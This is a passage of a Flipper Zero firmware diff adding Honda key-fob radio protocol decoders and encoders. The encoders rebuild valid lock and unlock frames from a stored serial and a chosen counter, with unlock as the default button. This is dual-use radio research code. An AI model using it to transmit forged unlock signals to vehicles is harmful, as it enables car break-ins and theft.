subghz_protocol_encoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolEncoderHondaV1* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0U;
|
||||
|
||||
FuriString* temp_str = furi_string_alloc();
|
||||
if(!temp_str) return SubGhzProtocolStatusError;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
|
||||
furi_string_free(temp_str);
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
|
||||
furi_string_free(temp_str);
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
furi_string_free(temp_str);
|
||||
|
||||
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, HONDA_V1_BIT_COUNT);
|
||||
if(status != SubGhzProtocolStatusOk) {
|
||||
return status;
|
||||
}
|
||||
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
honda_v1_decode_fields(&instance->generic);
|
||||
|
||||
uint32_t serial = instance->generic.serial;
|
||||
uint32_t btn = instance->generic.btn;
|
||||
uint32_t cnt = instance->generic.cnt;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Serial", &serial, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Btn", &btn, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1);
|
||||
|
||||
serial &= HONDA_V1_SERIAL_MASK;
|
||||
uint8_t button = (uint8_t)(btn & HONDA_V1_NIBBLE_MASK);
|
||||
if(!honda_v1_button_valid(button)) {
|
||||
button = (uint8_t)instance->generic.btn;
|
||||
}
|
||||
if(!honda_v1_button_valid(button)) {
|
||||
button = HondaV1ButtonUnlock;
|
||||
}
|
||||
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.btn = button;
|
||||
instance->generic.cnt = cnt & HONDA_V1_COUNTER_MASK;
|
||||
instance->generic.data_count_bit = HONDA_V1_BIT_COUNT;
|
||||
instance->generic.data =
|
||||
honda_v1_build_key(instance->generic.serial, instance->generic.btn, instance->generic.cnt);
|
||||
|
||||
uint8_t first = 0U;
|
||||
uint8_t second = 0U;
|
||||
honda_v1_checksum_wire_order(instance->generic.data, &first, &second);
|
||||
instance->k2 = second;
|
||||
|
||||
uint8_t key_data[HONDA_V1_KEY_BYTES];
|
||||
honda_v1_u64_to_bytes_be(instance->generic.data, key_data);
|
||||
flipper_format_rewind(flipper_format);
|
||||
bool key_written =
|
||||
flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(key_data));
|
||||
if(!key_written) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
key_written = flipper_format_insert_or_update_hex(
|
||||
flipper_format, "Key", key_data, sizeof(key_data));
|
||||
}
|
||||
if(!key_written) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint32_t tmp;
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->generic.serial;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Serial", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->generic.btn;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Btn", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->generic.cnt;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Cnt", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->k2;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V1_CRC_FIELD, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V1_CRC_FIELD, &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->k2;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &tmp, 1);
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t repeat = 1U;
|
||||
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
|
||||
instance->encoder.repeat = (size_t)repeat;
|
||||
|
||||
if(!honda_v1_build_upload(instance)) {
|
||||
return SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_honda_v1_stop(void* context) {
|
||||
SubGhzProtocolEncoderHondaV1* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_honda_v1_yield(void* context) {
|
||||
SubGhzProtocolEncoderHondaV1* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return duration;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_honda_v1_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
|
||||
SubGhzProtocolDecoderHondaV1* instance = malloc(sizeof(SubGhzProtocolDecoderHondaV1));
|
||||
furi_check(instance);
|
||||
memset(instance, 0, sizeof(*instance));
|
||||
|
||||
instance->base.protocol = &honda_v1_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v1_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV1* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v1_reset(void* context) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaV1* instance = context;
|
||||
instance->pending = 0U;
|
||||
instance->pending_valid = false;
|
||||
honda_v1_state_reset(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v1_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaV1* instance = context;
|
||||
|
||||
if(duration < HONDA_V1_TE_DELTA) {
|
||||
instance->pending += duration;
|
||||
instance->pending_valid = true;
|
||||
return;
|
||||
}
|
||||
|
||||
if(instance->pending_valid) {
|
||||
const uint32_t p = instance->pending;
|
||||
if(level) {
|
||||
instance->pending = p + duration;
|
||||
instance->pending_valid = true;
|
||||
return;
|
||||
}
|
||||
if(p >= HONDA_V1_TE_SHORT_MIN) honda_v1_symbol(instance, true, p);
|
||||
instance->pending = 0U;
|
||||
instance->pending_valid = false;
|
||||
}
|
||||
|
||||
if(level) {
|
||||
instance->pending = duration;
|
||||
instance->pending_valid = true;
|
||||
return;
|
||||
}
|
||||
|
||||
honda_v1_symbol(instance, false, duration);
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_honda_v1_get_hash_data(void* context) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaV1* instance = context;
|
||||
const uint64_t data = instance->generic.data;
|
||||
|
||||
return (uint8_t)(data ^ (data >> 8U) ^ (data >> 16U) ^ (data >> 24U) ^ (data >> 32U) ^
|
||||
(data >> 40U) ^ (data >> 48U) ^ (data >> 56U));
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_honda_v1_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaV1* instance = context;
|
||||
honda_v1_decode_fields(&instance->generic);
|
||||
|
||||
SubGhzProtocolStatus status =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
if(status != SubGhzProtocolStatusOk) {
|
||||
return status;
|
||||
}
|
||||
|
||||
if(!flipper_format_write_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
uint32_t btn_u32 = instance->generic.btn;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn_u32, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
if(!flipper_format_write_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint32_t crc = instance->k2 & HONDA_V1_NIBBLE_MASK;
|
||||
if(!flipper_format_write_uint32(flipper_format, HONDA_V1_CRC_FIELD, &crc, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
if(!flipper_format_write_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &crc, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
FuriString* display = furi_string_alloc();
|
||||
furi_string_printf(
|
||||
display, "%s - %s", instance->generic.protocol_name, honda_v1_button_name(instance->generic.btn));
|
||||
status = SubGhzProtocolStatusOk;
|
||||
if(!flipper_format_write_string_cstr(flipper_format, "Disp", furi_string_get_cstr(display))) {
|
||||
status = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
furi_string_free(display);
|
||||
return status;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaV1* instance = context;
|
||||
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, HONDA_V1_BIT_COUNT);
|
||||
if(status != SubGhzProtocolStatusOk) {
|
||||
return status;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t crc = 0U;
|
||||
bool crc_found = flipper_format_read_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &crc, 1);
|
||||
if(!crc_found) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
crc_found = flipper_format_read_uint32(flipper_format, HONDA_V1_CRC_FIELD, &crc, 1);
|
||||
}
|
||||
if(crc_found) {
|
||||
instance->k2 = (uint8_t)(crc & HONDA_V1_NIBBLE_MASK);
|
||||
} else {
|
||||
uint8_t first = 0U;
|
||||
uint8_t second = 0U;
|
||||
honda_v1_checksum_wire_order(instance->generic.data, &first, &second);
|
||||
instance->k2 = first;
|
||||
}
|
||||
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
honda_v1_decode_fields(&instance->generic);
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v1_get_string(void* context, FuriString* output) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaV1* instance = context;
|
||||
honda_v1_decode_fields(&instance->generic);
|
||||
|
||||
const uint8_t k2 = instance->k2 & HONDA_V1_NIBBLE_MASK;
|
||||
const bool crc_ok = honda_v1_crc_valid(instance->generic.data, k2);
|
||||
|
||||
furi_string_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%016llX\r\n"
|
||||
"Btn:%s\r\n"
|
||||
"Sn:%07lX Cnt:%04lX\r\n"
|
||||
"Crc:%X [%s]",
|
||||
instance->generic.protocol_name,
|
||||
(int)instance->generic.data_count_bit,
|
||||
(unsigned long long)instance->generic.data,
|
||||
honda_v1_button_name((uint8_t)instance->generic.btn),
|
||||
(unsigned long)instance->generic.serial,
|
||||
(unsigned long)instance->generic.cnt,
|
||||
k2,
|
||||
crc_ok ? "OK" : "ERR");
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define HONDA_V1_PROTOCOL_NAME "Honda V1"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderHondaV1 SubGhzProtocolDecoderHondaV1;
|
||||
typedef struct SubGhzProtocolEncoderHondaV1 SubGhzProtocolEncoderHondaV1;
|
||||
|
||||
extern const SubGhzProtocol honda_v1_protocol;
|
||||
|
||||
void* subghz_protocol_decoder_honda_v1_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_honda_v1_free(void* context);
|
||||
void subghz_protocol_decoder_honda_v1_reset(void* context);
|
||||
void subghz_protocol_decoder_honda_v1_feed(void* context, bool level, uint32_t duration);
|
||||
uint8_t subghz_protocol_decoder_honda_v1_get_hash_data(void* context);
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_honda_v1_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_honda_v1_get_string(void* context, FuriString* output);
|
||||
|
||||
void* subghz_protocol_encoder_honda_v1_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_honda_v1_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_honda_v1_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_honda_v1_yield(void* context);
|
||||
@@ -0,0 +1,973 @@
|
||||
#include "honda_v2.h"
|
||||
#include "../blocks/const.h"
|
||||
#include "../blocks/decoder.h"
|
||||
#include "../blocks/encoder.h"
|
||||
#include "../blocks/generic.h"
|
||||
#include "../blocks/math.h"
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "HondaV2"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_honda_v2_const = {
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit_for_found = 81,
|
||||
};
|
||||
|
||||
#define HONDA_V2_PREAMBLE_PAIRS 319U
|
||||
#define HONDA_V2_MIN_PREAMBLE_PAIRS 64U
|
||||
#define HONDA_V2_SYNC_US 750U
|
||||
#define HONDA_V2_SYNC_DELTA_US 120U
|
||||
#define HONDA_V2_UPLOAD_CAPACITY 1024U
|
||||
#define HONDA_V2_GAP_US 50000U
|
||||
|
||||
#define HONDA_V2_BTN_UNKNOWN 0x00U
|
||||
#define HONDA_V2_BTN_LOCK 0x02U
|
||||
#define HONDA_V2_BTN_UNLOCK 0x04U
|
||||
|
||||
#define HONDA_V2_SIG_UNLOCK 0xA285E3UL
|
||||
#define HONDA_V2_SIG_LOCK 0xC20363UL
|
||||
|
||||
#define HONDA_V2_FF_BTNSIG "BtnSig"
|
||||
#define HONDA_V2_FF_CHECK "Check"
|
||||
#define HONDA_V2_FF_TAIL "Tail"
|
||||
#define HONDA_V2_FF_EXTRA_BIT "ExtraBit"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderHondaV2 {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint16_t preamble_count;
|
||||
uint8_t raw[10];
|
||||
uint8_t bit_count;
|
||||
bool extra_bit;
|
||||
bool previous_bit;
|
||||
bool boundary_pad_skipped;
|
||||
bool pending_short;
|
||||
|
||||
uint64_t key;
|
||||
uint16_t tail;
|
||||
uint32_t command_signature;
|
||||
uint32_t serial;
|
||||
uint32_t count;
|
||||
uint8_t button;
|
||||
uint8_t check;
|
||||
bool check_ok;
|
||||
bool tail_ok;
|
||||
} SubGhzProtocolDecoderHondaV2;
|
||||
|
||||
typedef struct SubGhzProtocolEncoderHondaV2 {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint64_t key;
|
||||
uint16_t tail;
|
||||
uint32_t command_signature;
|
||||
uint32_t serial;
|
||||
uint32_t count;
|
||||
uint8_t button;
|
||||
uint8_t check;
|
||||
} SubGhzProtocolEncoderHondaV2;
|
||||
|
||||
typedef enum {
|
||||
HondaV2DecoderStepReset = 0,
|
||||
HondaV2DecoderStepPreambleLow,
|
||||
HondaV2DecoderStepPreambleHigh,
|
||||
HondaV2DecoderStepSyncLow,
|
||||
HondaV2DecoderStepData,
|
||||
} HondaV2DecoderStep;
|
||||
|
||||
static void honda_v2_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
|
||||
for(size_t i = 0; i < 8; i++) {
|
||||
bytes[i] = (data >> ((7U - i) * 8U)) & 0xFFU;
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t honda_v2_bytes_to_u64_be(const uint8_t bytes[8]) {
|
||||
uint64_t data = 0;
|
||||
for(size_t i = 0; i < 8; i++) {
|
||||
data = (data << 8U) | bytes[i];
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static uint8_t honda_v2_button_from_signature(uint32_t signature);
|
||||
static const char* honda_v2_button_name(uint8_t button);
|
||||
static uint8_t honda_v2_calculate_check(uint32_t count);
|
||||
static bool honda_v2_calculate_tail_msb(uint32_t count);
|
||||
static uint16_t honda_v2_calculate_tail(uint32_t count);
|
||||
static void honda_v2_parse_key_fields(
|
||||
uint64_t key,
|
||||
uint32_t* signature,
|
||||
uint32_t* serial,
|
||||
uint32_t* count,
|
||||
uint8_t* button,
|
||||
uint8_t* check);
|
||||
static bool honda_v2_validate_frame(
|
||||
uint64_t key,
|
||||
uint16_t tail,
|
||||
bool extra_bit,
|
||||
bool* check_ok,
|
||||
bool* tail_ok);
|
||||
static bool honda_v2_add_decoded_bit(SubGhzProtocolDecoderHondaV2* instance, bool bit);
|
||||
static bool honda_v2_process_transition(
|
||||
SubGhzProtocolDecoderHondaV2* instance,
|
||||
bool level,
|
||||
uint32_t duration);
|
||||
static bool honda_v2_finish_frame(SubGhzProtocolDecoderHondaV2* instance);
|
||||
|
||||
static bool honda_v2_encoder_add_level(
|
||||
SubGhzProtocolEncoderHondaV2* instance,
|
||||
size_t* index,
|
||||
bool level,
|
||||
uint32_t duration);
|
||||
static bool honda_v2_encoder_add_bit(
|
||||
SubGhzProtocolEncoderHondaV2* instance,
|
||||
size_t* index,
|
||||
bool* previous_bit,
|
||||
bool bit);
|
||||
static bool honda_v2_build_upload(SubGhzProtocolEncoderHondaV2* instance);
|
||||
|
||||
static bool honda_v2_is_short(uint32_t duration) {
|
||||
return DURATION_DIFF(duration, subghz_protocol_honda_v2_const.te_short) <
|
||||
subghz_protocol_honda_v2_const.te_delta;
|
||||
}
|
||||
|
||||
static bool honda_v2_is_long(uint32_t duration) {
|
||||
return DURATION_DIFF(duration, subghz_protocol_honda_v2_const.te_long) <
|
||||
subghz_protocol_honda_v2_const.te_delta;
|
||||
}
|
||||
|
||||
static bool honda_v2_is_sync(uint32_t duration) {
|
||||
return DURATION_DIFF(duration, HONDA_V2_SYNC_US) < HONDA_V2_SYNC_DELTA_US;
|
||||
}
|
||||
|
||||
static uint8_t honda_v2_button_from_signature(uint32_t signature) {
|
||||
if(signature == HONDA_V2_SIG_UNLOCK) {
|
||||
return HONDA_V2_BTN_UNLOCK;
|
||||
} else if(signature == HONDA_V2_SIG_LOCK) {
|
||||
return HONDA_V2_BTN_LOCK;
|
||||
}
|
||||
return HONDA_V2_BTN_UNKNOWN;
|
||||
}
|
||||
|
||||
static const char* honda_v2_button_name(uint8_t button) {
|
||||
switch(button) {
|
||||
case HONDA_V2_BTN_LOCK:
|
||||
return "Lock";
|
||||
case HONDA_V2_BTN_UNLOCK:
|
||||
return "Unlock";
|
||||
default:
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t honda_v2_calculate_check(uint32_t count) {
|
||||
const uint8_t c0 = ((count >> 1) ^ (count >> 2) ^ (count >> 3) ^ (count >> 4) ^ (count >> 6)) &
|
||||
1U;
|
||||
const uint8_t c1 = ((count >> 0) ^ (count >> 2) ^ (count >> 3) ^ (count >> 4) ^ (count >> 5) ^
|
||||
(count >> 6) ^ 1U) &
|
||||
1U;
|
||||
const uint8_t c2 = ((count >> 1) ^ (count >> 3) ^ (count >> 4) ^ (count >> 5) ^ (count >> 6)) &
|
||||
1U;
|
||||
return (uint8_t)(c0 | (c1 << 1) | (c2 << 2));
|
||||
}
|
||||
|
||||
static bool honda_v2_calculate_tail_msb(uint32_t count) {
|
||||
const uint8_t tail = ((count >> 0) ^ (count >> 2) ^ (count >> 4) ^ (count >> 5)) & 1U;
|
||||
return tail != 0U;
|
||||
}
|
||||
|
||||
static uint16_t honda_v2_calculate_tail(uint32_t count) {
|
||||
return honda_v2_calculate_tail_msb(count) ? 0xFFFFU : 0x7FFFU;
|
||||
}
|
||||
|
||||
static void honda_v2_parse_key_fields(
|
||||
uint64_t key,
|
||||
uint32_t* signature,
|
||||
uint32_t* serial,
|
||||
uint32_t* count,
|
||||
uint8_t* button,
|
||||
uint8_t* check) {
|
||||
uint8_t key_bytes[8];
|
||||
honda_v2_u64_to_bytes_be(key, key_bytes);
|
||||
|
||||
const uint32_t sig = ((uint32_t)key_bytes[0] << 16) | ((uint32_t)key_bytes[1] << 8) |
|
||||
key_bytes[2];
|
||||
const uint32_t sn = ((uint32_t)key_bytes[3] << 16) | ((uint32_t)key_bytes[4] << 8) |
|
||||
key_bytes[5];
|
||||
const uint32_t cnt = ((uint32_t)key_bytes[6] << 1) | ((key_bytes[7] >> 7) & 1U);
|
||||
|
||||
if(signature) *signature = sig;
|
||||
if(serial) *serial = sn;
|
||||
if(count) *count = cnt;
|
||||
if(button) *button = honda_v2_button_from_signature(sig);
|
||||
if(check) *check = key_bytes[7] & 0x07U;
|
||||
}
|
||||
|
||||
static bool honda_v2_validate_frame(
|
||||
uint64_t key,
|
||||
uint16_t tail,
|
||||
bool extra_bit,
|
||||
bool* check_ok,
|
||||
bool* tail_ok) {
|
||||
uint8_t key_bytes[8];
|
||||
honda_v2_u64_to_bytes_be(key, key_bytes);
|
||||
|
||||
const uint32_t count = ((uint32_t)key_bytes[6] << 1) | ((key_bytes[7] >> 7) & 1U);
|
||||
const uint8_t expected_check = honda_v2_calculate_check(count);
|
||||
const uint16_t expected_tail = honda_v2_calculate_tail(count);
|
||||
|
||||
const bool local_check_ok = ((key_bytes[7] & 0x78U) == 0U) &&
|
||||
((key_bytes[7] & 0x07U) == expected_check);
|
||||
const bool local_tail_ok = (tail == expected_tail) && extra_bit;
|
||||
|
||||
if(check_ok) *check_ok = local_check_ok;
|
||||
if(tail_ok) *tail_ok = local_tail_ok;
|
||||
|
||||
return local_check_ok && local_tail_ok;
|
||||
}
|
||||
|
||||
static bool honda_v2_add_decoded_bit(SubGhzProtocolDecoderHondaV2* instance, bool bit) {
|
||||
if(instance->bit_count < 80U) {
|
||||
const uint8_t byte_index = instance->bit_count / 8U;
|
||||
const uint8_t bit_index = 7U - (instance->bit_count % 8U);
|
||||
if(bit) {
|
||||
instance->raw[byte_index] |= (uint8_t)(1U << bit_index);
|
||||
}
|
||||
} else if(instance->bit_count == 80U) {
|
||||
instance->extra_bit = bit;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
instance->bit_count++;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool honda_v2_finish_frame(SubGhzProtocolDecoderHondaV2* instance) {
|
||||
const uint64_t key = honda_v2_bytes_to_u64_be(instance->raw);
|
||||
const uint16_t tail = ((uint16_t)instance->raw[8] << 8) | instance->raw[9];
|
||||
|
||||
if(!honda_v2_validate_frame(
|
||||
key, tail, instance->extra_bit, &instance->check_ok, &instance->tail_ok)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
instance->key = key;
|
||||
instance->tail = tail;
|
||||
|
||||
honda_v2_parse_key_fields(
|
||||
key,
|
||||
&instance->command_signature,
|
||||
&instance->serial,
|
||||
&instance->count,
|
||||
&instance->button,
|
||||
&instance->check);
|
||||
|
||||
instance->generic.data = instance->key;
|
||||
instance->generic.data_count_bit = subghz_protocol_honda_v2_const.min_count_bit_for_found;
|
||||
instance->generic.serial = instance->serial;
|
||||
instance->generic.btn = instance->button;
|
||||
instance->generic.cnt = instance->count;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool honda_v2_process_transition(
|
||||
SubGhzProtocolDecoderHondaV2* instance,
|
||||
bool level,
|
||||
uint32_t duration) {
|
||||
if(!instance->boundary_pad_skipped) {
|
||||
if(level && honda_v2_is_short(duration)) {
|
||||
instance->boundary_pad_skipped = true;
|
||||
return true;
|
||||
}
|
||||
instance->boundary_pad_skipped = true;
|
||||
}
|
||||
|
||||
if(instance->pending_short) {
|
||||
if(!instance->previous_bit && !level && honda_v2_is_short(duration)) {
|
||||
instance->pending_short = false;
|
||||
return honda_v2_add_decoded_bit(instance, false);
|
||||
} else if(instance->previous_bit && level && honda_v2_is_short(duration)) {
|
||||
instance->pending_short = false;
|
||||
return honda_v2_add_decoded_bit(instance, true);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!instance->previous_bit) {
|
||||
if(level && honda_v2_is_long(duration)) {
|
||||
instance->previous_bit = true;
|
||||
return honda_v2_add_decoded_bit(instance, true);
|
||||
} else if(level && honda_v2_is_short(duration)) {
|
||||
instance->pending_short = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!level && honda_v2_is_long(duration)) {
|
||||
instance->previous_bit = false;
|
||||
return honda_v2_add_decoded_bit(instance, false);
|
||||
} else if(!level && honda_v2_is_short(duration)) {
|
||||
instance->pending_short = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool honda_v2_encoder_add_level(
|
||||
SubGhzProtocolEncoderHondaV2* instance,
|
||||
size_t* index,
|
||||
bool level,
|
||||
uint32_t duration) {
|
||||
if(*index >= HONDA_V2_UPLOAD_CAPACITY) {
|
||||
return false;
|
||||
}
|
||||
instance->encoder.upload[(*index)++] = level_duration_make(level, duration);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool honda_v2_encoder_add_bit(
|
||||
SubGhzProtocolEncoderHondaV2* instance,
|
||||
size_t* index,
|
||||
bool* previous_bit,
|
||||
bool bit) {
|
||||
const uint32_t te_short = subghz_protocol_honda_v2_const.te_short;
|
||||
const uint32_t te_long = subghz_protocol_honda_v2_const.te_long;
|
||||
|
||||
if(!*previous_bit && !bit) {
|
||||
if(!honda_v2_encoder_add_level(instance, index, true, te_short) ||
|
||||
!honda_v2_encoder_add_level(instance, index, false, te_short)) {
|
||||
return false;
|
||||
}
|
||||
} else if(!*previous_bit && bit) {
|
||||
if(!honda_v2_encoder_add_level(instance, index, true, te_long)) {
|
||||
return false;
|
||||
}
|
||||
} else if(*previous_bit && !bit) {
|
||||
if(!honda_v2_encoder_add_level(instance, index, false, te_long)) {
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
if(!honda_v2_encoder_add_level(instance, index, false, te_short) ||
|
||||
!honda_v2_encoder_add_level(instance, index, true, te_short)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
*previous_bit = bit;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool honda_v2_build_upload(SubGhzProtocolEncoderHondaV2* instance) {
|
||||
furi_check(instance);
|
||||
|
||||
size_t index = 0;
|
||||
const uint32_t te_short = subghz_protocol_honda_v2_const.te_short;
|
||||
|
||||
uint8_t key_bytes[8];
|
||||
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
|
||||
|
||||
for(uint16_t i = 0; i < HONDA_V2_PREAMBLE_PAIRS; i++) {
|
||||
if(!honda_v2_encoder_add_level(instance, &index, true, te_short) ||
|
||||
!honda_v2_encoder_add_level(instance, &index, false, te_short)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if(!honda_v2_encoder_add_level(instance, &index, true, HONDA_V2_SYNC_US) ||
|
||||
!honda_v2_encoder_add_level(instance, &index, false, HONDA_V2_SYNC_US) ||
|
||||
!honda_v2_encoder_add_level(instance, &index, true, te_short)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
bool previous_bit = true;
|
||||
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, false)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
for(uint8_t bit_index = 2; bit_index < 64; bit_index++) {
|
||||
